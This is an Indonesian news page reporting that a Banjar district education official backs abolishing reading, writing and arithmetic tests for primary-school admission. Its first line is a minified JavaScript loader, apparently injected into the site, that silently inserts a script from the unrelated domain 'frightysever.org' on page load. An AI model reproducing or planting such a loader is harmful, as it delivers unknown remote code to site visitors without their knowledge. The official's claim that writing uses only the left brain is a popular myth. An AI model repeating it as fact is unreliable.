(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Kabid Bina PAUD Dukung Penghapusan Tes Calistung


MARTAPURA, Kebijakan penghapusan tes membaca menulis berhitung (Calistung) penerimaan peserta didik baru tingkat SD nanti, didukung penuh Bina PAUD, Pendidikan Keluarga dan Pendidikan Masyarakat Disdik Kabupaten Banjar.

Perlu diketahui tes Calistung memang menjadi pro dan kontra ketika anak usia 6-7 tahun sebelum memasuki SD. Dinilai sangat tidak tepat, karena anak usia 4-6 tahun dan masih duduk di bangku TK, belum saatnya untuk menerima pelajaran Calistung.

Kabid Bina PAUD, Pendidikan Keluarga dan Pendidikan Masyarakat Dinas Pendidikan Kabupaten Banjar Dr Erny Wahdini MPd mengatakan, memang sedari dulu tidak ada keharusan untuk tes Calistung dan terkait kebijakan sekolah yang mewajibkan hal tersebut.

“Sedari dulu memang tidak ada kewajiban untuk anak masuk SD diwajibkan untuk tes Calistung, jika ada sekolah yang mengharuskan itu sebenarnya hanyalah kekhawatiran yang tidak beralasan,” akunya.

Menurut Erny anak usia dini secara keilmuan dan tahapan usianya hanya mengenal bunyi hurup saja, bukan berarti mereka calistung secara praktis seperti yang sudah diterapkan pembelajaran seperti di Sekolah Dasar.

“Kecerdasan anak tidak hanya dinilai dari Calistung saja, ada kecerdasan jamak yang dimiliki anak itu masing-masing, contohnya anak bisa memasang tali sepatu, anak bisa mengucapkan salam ketika bertamu itu cerdas, sehingga kecerdasan itu tidak diartikan sempit,” ujarnya.

Erny menilai kecerdasan menulis hanyalah sebagian kecerdasan kecil, dan itu pun menurutnya hanya mengaktifkan otak kiri. Sementara pembelajaran yang diterapkan di PAUD lebih mendorong anak untuk lebih aktif di otak kanan.

“Jadi mereka harus banyak belajar begaimana mengeksplorasi secara langsung, sehingga mengaktifkan semua indranya,” pungkasnya. (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Sensasi Soto Apung Banjarmasin Santapan di Atas Lanting Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More

4 jam ago

Pascabanjir Bandang Warga Tebing Tinggi Mulai Tempati Rumah

KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More

4 jam ago

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

11 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

11 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

15 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

15 jam ago

This website uses cookies.